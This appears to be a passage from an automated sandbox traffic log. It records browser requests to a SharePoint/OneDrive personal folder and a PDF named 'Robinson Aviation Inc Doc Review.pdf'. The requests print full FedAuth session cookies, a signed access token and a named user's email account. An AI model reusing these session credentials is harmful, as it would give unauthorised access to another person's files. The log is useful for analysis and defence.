Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/odbfavicon.ico?rev=47 HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%27&RootFolder=%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%2FRobinson%20Aviation%20Inc%20Doc%20Review%2Epdf&TryNewExperienceSingle=TRUE HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/jkim_boomeranghc_com/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%27&TryNewExperienceSingle=TRUE HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&enableTheming=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&siteConfigRace=true HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ipmdoctor-my.sharepoint.com/personal/jkim_boomeranghc_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fjkim%5Fboomeranghc%5Fcom%2FDocuments%2FRobinson%20Aviation%20Inc%20Doc%20Review%2Epdf&ga=1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_vti_bin/afdcache.ashx/_userprofile/userphoto.jpg?_oat_=1731079916_9288d2cee204ee0843666d064f4e8ab89d21e9b6c898f71ade9e6cadbd7b42cb&P1=1731008023&P2=-149452251&P3=1&P4=ZUZllmO9UUB5Z9L%2FzvaP21e%2B85qj7HCrS7zl6DGthAjyqJxK7rV0ILSQ216qHl99CLHaNV1cBfdkyAgUPw8ybf%2Br9tNywGK7nbWnasz8y7lGA4g%2ByaBidy9rxukTsH2PW1WQ7SNDbzFWhsQ7qcQb%2BDz%2BXlWcFdJXbJWAbRMKmVRfrijCEVZ5QsKH109Hx9BBR5wbvvcBPISryLXsAMOs0%2FIB0T11v65lqJQNAPbqnPapzMPuuIrfQJ32g6yZzp8Pwu2ahsDuvYheYAMjMNGR0BZfniaiTEDRdLOgcvRrKH6%2FUOed0i0yia%2BiD6qgtkboIs%2BecXaNS0Ge8dUJXA11Rg%3D%3D&size=M&accountname=jkim%40boomeranghc.com HTTP/1.1Host: ipmdoctor.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ipmdoctor-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_vti_bin/afdcache.ashx/_userprofile/userphoto.jpg?_oat_=1731079916_9288d2cee204ee0843666d064f4e8ab89d21e9b6c898f71ade9e6cadbd7b42cb&P1=1731008023&P2=-149452251&P3=1&P4=ZUZllmO9UUB5Z9L%2FzvaP21e%2B85qj7HCrS7zl6DGthAjyqJxK7rV0ILSQ216qHl99CLHaNV1cBfdkyAgUPw8ybf%2Br9tNywGK7nbWnasz8y7lGA4g%2ByaBidy9rxukTsH2PW1WQ7SNDbzFWhsQ7qcQb%2BDz%2BXlWcFdJXbJWAbRMKmVRfrijCEVZ5QsKH109Hx9BBR5wbvvcBPISryLXsAMOs0%2FIB0T11v65lqJQNAPbqnPapzMPuuIrfQJ32g6yZzp8Pwu2ahsDuvYheYAMjMNGR0BZfniaiTEDRdLOgcvRrKH6%2FUOed0i0yia%2BiD6qgtkboIs%2BecXaNS0Ge8dUJXA11Rg%3D%3D&size=M&accountname=jkim%40boomeranghc.com HTTP/1.1Host: ipmdoctor.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_layouts/15/SPComponentRegistry.ashx?projects=[%22STS%22]&languages=%5B%5D HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveAccept: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&enableTheming=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&siteConfigRace=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /_layouts/15/SPComponentRegistry.ashx?projects=[%22spfx%22]&languages=%5B%5D HTTP/1.1Host: ipmdoctor-my.sharepoint.comConnection: keep-aliveAccept: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ipmdoctor-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&enableTheming=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript=true&siteConfigRace=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2MsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jY2JhMDdhZDg1NDM5ZmVjODRlNGI1NDZjMzUxYmZiN2Q4Y2RkNDA5NGNjYTY0YmIxZDVjY2I2MTllNzkwZTQzYywxMzM3NTQ3OTk1OTAwMDAwMDAsMCwxMzM3NTU2NjA1OTY4NzcwNDUsMC4wLjAuMCwyNTgsZjU4ZmZhYWYtMDZkZS00MjcwLWE0MzAtYWVkODIxNDU4NDI1LCwsZDJhMjYxYTEtYjBjMC02MDAwLWVkYTMtYjNiMTEzMGQ2YThkLGQyYTI2MWExLWIwYzAtNjAwMC1lZGEzLWIzYjExMzBkNmE4ZCxHN0RGNFV4NzJrbUtvNHFqQzFoS2tnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQzOTcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLFRCN1VDRFkybUdGWG1VYjhhSktSc3piWWZ5MC9FVWlTNmlLQUhTQXNrQjRmSTVrdWh6ZHBMWjhUc25QeWgwaGVSVjhZeG1XQ2VNckhpV1ZRYzNjU091Z0ltZ2ZYUFIwUFhXVDJVbVJZUG91Tytwc1hiL1lqNnBZRUd0bjA0ZEZBSEVhbGM2YTNOdy96YWZjekZ0UzJ2cExNdERxR2RBdTlaV08wNTNHcjRQVUVUdm1sNEpZWWM4SWFkNkhSRS9KS2V3TDZGRTErcWs5NFh1YUgzcmg5blV1N0RoUkxQVWFkZVNuT3NKNmlacnBRU215eVNLRWN0ajkvSGdvV01maFBnWmFSVnRXamxTbm9rbW0wZ2JLeFNCcWtrb1F6M0RxZ25nSzduRi9zdURRSkoycE1iTTVzNm80d21uU28xMnhJMWVTeFdlbGlEcXpISFhzMEVKbkFSQT09PC9TUD4=; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /transform/passthrough?provider=spo&inputFormat=pdf&cs=fFNQTw&docid=https%3A%2F%2Fipmdoctor-my.sharepoint.com%3A443%2F_api%2Fv2.0%2Fdrives%2Fb!vGkaRjrH8Eqoihwm-YWIYyVq0ofWUJlMnFhRHwzMXUUWhW1hX_QaTrmfUP5MpFVJ%2Fitems%2F01OK5L7JS5D7OK4LNHYREKAIQS5EZCCG5Q%3Fversion%3DPublished&access_token=v1.eyJzaXRlaWQiOiI0NjFhNjliYy1jNzNhLTRhZjAtYTg4YS0xYzI2Zjk4NTg4NjMiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvaXBtZG9jdG9yLW15LnNoYXJlcG9pbnQuY29tQGY1OGZmYWFmLTA2ZGUtNDI3MC1hNDMwLWFlZDgyMTQ1ODQyNSIsImV4cCI6IjE3MzEwMjQwMDAifQ.CiMKCXNoYXJpbmdpZBIWRzdERjRVeDcya21LbzRxakMxaEtrZwoICgNzdHASAXQKCgoEc25pZBICMzMSBgiE2ToQARoOMTczLjI1NC4yNTAuNzkiFG1pY3Jvc29mdC5zaGFyZXBvaW50KixkdUdQSEpmdjVBd1VoZU9XMlNnSFcvQUlZT3VtYm1DL25IRzJTZFptTC9VPTB3OAFKEGhhc2hlZHByb29mdG9rZW5iBHRydWVyYTBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2NiYTA3YWQ4NTQzOWZlYzg0ZTRiNTQ2YzM1MWJmYjdkOGNkZDQwOTRjY2E2NGJiMWQ1Y2NiNjE5ZTc5MGU0M2N6ATDCAWEwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNjYmEwN2FkODU0MzlmZWM4NGU0YjU0NmMzNTFiZmI3ZDhjZGQ0MDk0Y2NhNjRiYjFkNWNjYjYxOWU3OTBlNDNj.phlakqmj3iuJPuaOLYMKx0sRYZ6Ltmw4Y3Fj2vos290&cTag=%22c%3A%7BAEDC1F5D-A72D-48C4-A022-12E932211BB0%7D%2C1%22 HTTP/1.1Host: westus31-mediap.svc.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: 